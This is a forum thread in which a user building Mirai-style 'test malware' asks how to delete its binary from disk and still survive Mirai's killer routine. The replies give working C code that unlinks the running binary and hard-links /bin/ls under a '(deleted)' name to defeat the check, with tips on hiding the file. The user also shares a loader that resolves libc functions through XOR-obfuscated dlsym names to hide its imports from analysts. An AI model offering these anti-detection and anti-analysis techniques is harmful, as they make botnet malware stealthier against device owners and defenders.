1

my test malware got killed from another because delete the binary, there is a way to bypass this?
or am I forced to keep the binary on the system?

this is the part of the code that kills my test malware, this source code is taken from Mirai malware on github.

(both were launched in the virtual machine)

complete code: https://github.com/jgamblin/Mirai-Source-Code/blob/master/mirai/bot/killer.c

 // Store /proc/$pid/exe into exe_path
            snprintf(exe_path, sizeof(exe_path), "/proc/%s/exe", file->d_name)


            // Resolve exe_path (/proc/$pid/exe) -> realpath
            if ((rp_len = readlink(exe_path, realpath, sizeof (realpath) - 1)) != -1)
            {
                realpath[rp_len] = 0; // Nullterminate realpath, since readlink doesn't guarantee a null terminated string

                // Skip this file if its realpath == killer_realpath
                if (pid == getpid() || pid == getppid() || util_strcmp(realpath, killer_realpath))
                    continue;

               // if the binary was deleted
                if ((fd = open(realpath, O_RDONLY)) == -1)
                {
#ifdef DEBUG
                    printf("[killer] Process '%s' has deleted binary!\n", realpath);
#endif
                    kill(pid, 9);
                }
                close(fd);
            }

2

What are you asking? If you’re running a binary on a system the file should be locked because it’s mapped to memory and actively being used. The code you just showed just kills a process that’s running in memory immediately.

If you do more research or just read more of the source code, you will see that there’s a target range that gets killed. In the linux source code there’s a defined minimum PID for reserved system process and a max PID range for everything else. I’d suggest you do more reading to understand that.

image

3

the code checks if the binary file associated with that process exists, if it doesn’t exist, it kills the process because it probably considers it a rival malware that deleted the binary. I just wanted to know if there is a way to delete my malware binary (unlink) from the system without triggering that code.
(from what I understand, I don’t think it’s possible since even if I start my malware directly in memory, it will still scan /proc/pid/exe, try to open it but won’t be able to and therefore it would kill it anyway).
the alternative would be to hide the process in /proc but this would necessarily require root.

4

A very simple but not so elegant way to solve the issue could be this:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main (int argc, char *argv[]) {
  char name[1024];
  char realpath[1024];
  int  rp_len;
  int  fd;

  printf ("This is process (%d)\n", getpid());
  unlink (argv[0]);
  sprintf (name, "%s (deleted)", argv[0]);
  if ((link ("/bin/ls", name)) < 0) perror ("link:");

  // This is the code on the Original Post to check if it works
  sprintf (name, "/proc/%d/exe", getpid ());
  memset (realpath, 0,1024);
  if ((rp_len = readlink (name, realpath, 1023)) < 0) exit (1);
  printf ("'%s' -> '%s'\n", name , realpath);
  if ((fd = open(realpath, O_RDONLY)) == -1)
    {
      printf ("Killing process\n");
      close(fd);
    }
  getchar ();
  
}

In a nutshell, readlink will return the name of the file plus one space plus the string deleted (when the original binary is deleted). So we just create a file with that name. You basically wrote this solution in the title of your post :sweat_smile:.

I chose to create a link so I can create the file in just one syscall. Also, this way, we use a binary already existing in the system that is less suspicious and will pass any file scanning.

Note that your malware is effectively deleted and the file we create is a hard link to ls. A file named filename (deleted) is suspicious so we can just add a . at the beginning to hide the file to a simple ls.

As I said it is not the most elegant way, but it is a way to get your code deleted from disk and pass the Mirai test. As Mirai was intended to run on IoT devices it is unlikely that somebody will be listing some random folder on an IP cam… but who knows.

Actually I have got an idea writing this… but I first have to try it and if it works it would be a nice post so I’ll save it to myself for the time being :wink:

Hope this helps

5

oh… thank you so much, it was so simple but I couldn’t get there hahaha, it helped me a lot :innocent:.
I would like to know your opinion on another thing, I noticed that in the original mirai code all the standard libraries are used except <string.h> where the author creates the functions he needs in util.c.
By rewriting my malware from scratch I had an idea, why not directly use only the functions we need by taking them from libc.so.6.
I’ll post you a piece of code and tell me what you think (I hope it’s not useless and ugly)

syscall.h

struct fn_table {
    void *libc_handle;

    int (*open)(const char *, int, ...);
    int (*close)(int);

    int (*strcmp)(const char *, const char *);
    int (*snprintf)(char *, size_t, const char *, ...);
    char *(*strstr)(const char *, const char *);

    void (*memset)(void *, int, size_t);
    void *(*malloc)(size_t size);
    void *(*calloc)(size_t nmemb, size_t size);
    void *(*realloc)(void* ptr, size_t size);
    void (*free)(void* ptr);
    void (*exit)(int status);

    int (*unlink)(const char *);
    int (*fork)(void);
    unsigned int (*sleep)(unsigned int);
    int (*kill)(pid_t, int);
    ssize_t (*readlink)(const char *, char *, size_t);
    pid_t (*getpid)(void);
    pid_t (*getppid)(void);
    ssize_t (*read)(int, void *, size_t);
    size_t (*strlen)(const char *);
    char *(*strncpy)(char *, const char *, size_t);
    int (*fcntl)(int, int, ...);
    char *(*strchr)(const char *, int);
    int (*atoi)(const char *);
};

extern struct fn_table fn; 

syscall.c

void load_syscall(void)
{
    char *libc = "libc.so.6";
    fn.libc_handle = dlopen(libc, RTLD_LAZY);

    char *malloc = "malloc";
    fn.malloc = dlsym(fn.libc_handle, malloc);

    char *free = obfd("\x56\x42\x55\x55\x30", 5);
    fn.free = dlsym(fn.libc_handle, free);
    fn.free(free);

    char *open = obfd("\x5F\x40\x55\x5E\x30", 5);
    fn.open = dlsym(fn.libc_handle, open);
    fn.free(open);

    char *close = obfd("\x53\x5C\x5F\x43\x55\x30", 6);
    fn.close = dlsym(fn.libc_handle, close);
    fn.free(close);
    
    char *strcmp = obfd("\x43\x44\x42\x53\x5D\x40\x30", 7);
    fn.strcmp = dlsym(fn.libc_handle, strcmp);
    fn.free(strcmp);

    char *snprintf = obfd("\x43\x5E\x40\x42\x59\x5E\x44\x56\x30", 9);
    fn.snprintf = dlsym(fn.libc_handle, snprintf);
    fn.free(snprintf);

    char *strstr = obfd("\x43\x44\x42\x43\x44\x42\x30", 7);
    fn.strstr = dlsym(fn.libc_handle, strstr);
    fn.free(strstr);
    
    char *memset = obfd("\x5D\x55\x5D\x43\x55\x44\x30", 7);
    fn.memset = dlsym(fn.libc_handle, memset);
    fn.free(memset);

    char *calloc = obfd("\x53\x51\x5C\x5C\x5F\x53\x30", 7);
    fn.calloc = dlsym(fn.libc_handle, calloc);
    fn.free(calloc);

    char *realloc = obfd("\x42\x55\x51\x5C\x5C\x5F\x53\x30", 8);
    fn.realloc = dlsym(fn.libc_handle, realloc);
    fn.free(realloc);

    char *exit = obfd("\x55\x48\x59\x44\x30", 5);
    fn.exit = dlsym(fn.libc_handle, exit);
    fn.free(exit);
    
    char *unlink = obfd("\x45\x5E\x5C\x59\x5E\x5B\x30", 7);
    fn.unlink = dlsym(fn.libc_handle, unlink);
    fn.free(unlink);

    char *fork = obfd("\x56\x5F\x42\x5B\x30", 5);
	fn.fork = dlsym(fn.libc_handle, fork);
    fn.free(fork);

    char *sleep = obfd("\x43\x5C\x55\x55\x40\x30", 6);
	fn.sleep = dlsym(fn.libc_handle, sleep);
    fn.free(sleep);

    char *kill = obfd("\x5B\x59\x5C\x5C\x30", 5);
	fn.kill = dlsym(fn.libc_handle, kill);
    fn.free(kill);

    char *readlink = obfd("\x42\x55\x51\x54\x5C\x59\x5E\x5B\x30", 9);
	fn.readlink = dlsym(fn.libc_handle, readlink);
    fn.free(readlink);

    char *getpid = obfd("\x57\x55\x44\x40\x59\x54\x30", 7);
	fn.getpid = dlsym(fn.libc_handle, getpid);
    fn.free(getpid);

    char *getppid = obfd("\x57\x55\x44\x40\x40\x59\x54\x30", 8);
	fn.getppid = dlsym(fn.libc_handle, getppid);
    fn.free(getppid);

    char *read = obfd("\x42\x55\x51\x54\x30", 5);
	fn.read = dlsym(fn.libc_handle, read);
    fn.free(read);

    char *strlen = obfd("\x43\x44\x42\x5C\x55\x5E\x30", 7);
    fn.strlen = dlsym(fn.libc_handle, strlen);
    fn.free(strlen);

    char *strncpy = obfd("\x43\x44\x42\x5E\x53\x40\x49\x30", 8);
    fn.strncpy = dlsym(fn.libc_handle, strncpy);
    fn.free(strncpy);

    char *fcntl = obfd("\x56\x53\x5E\x44\x5C\x30", 6);
    fn.fcntl = dlsym(fn.libc_handle, fcntl);
    fn.free(fcntl);

    char *strchr = obfd("\x43\x44\x42\x53\x58\x42\x30", 7);
    *(void **)(&fn.strchr) = dlsym(fn.libc_handle, strchr);
    fn.free(strchr);

    char *atoi = obfd("\x51\x44\x5F\x59\x30", 5);
    fn.atoi = (int (*)(const char *))dlsym(fn.libc_handle, atoi);
    fn.free(atoi);
}

6

Hi @darad

Not sure why Mirai only implements strings, haven’t really go into all the code in detail.

I believe whenever you do the dlopen the whole library is loaded in memory. So, even if you do not map all the symbols, the code of all of them will be in memory, even when you just resolve a few symbols… Just try with a small library and check /proc/PID/maps to see the memory assigned after and before loading the library. The main advantage of using dlsym is to hide to the analyst the functions you use from a library, or to swap them dynamically… may be other use cases for those but I cannot thing about any right now (it is common on Windows tho).

Furthermore, getting your program to run without libc is tricky because libc does not just provides the regular functions you use in your programs, it also contains all the initialisation code that is needed in order to run main… that is the infamous crt0.o, crtS.o, et al … This code sets up the stack, runs constructors and makes sure destructors will be executed before terminating the program (well not all crt files implements the constructor/destructor thingy). BTW, crt stands for C Run-Time.

This post may give you a bit of insights on what this involves (however it doesn’t dive on crt implementation, but there are very good tutorials out there if you are interested):

7

thank you for the answer, I will check the post immediately, for now the functions are working correctly, both in the main and in the other .c files, I will check /proc/pid/maps regarding the memory allocated before and after loading the library.
my intent was to hide the functions and get a smaller binary file by loading only the necessary functions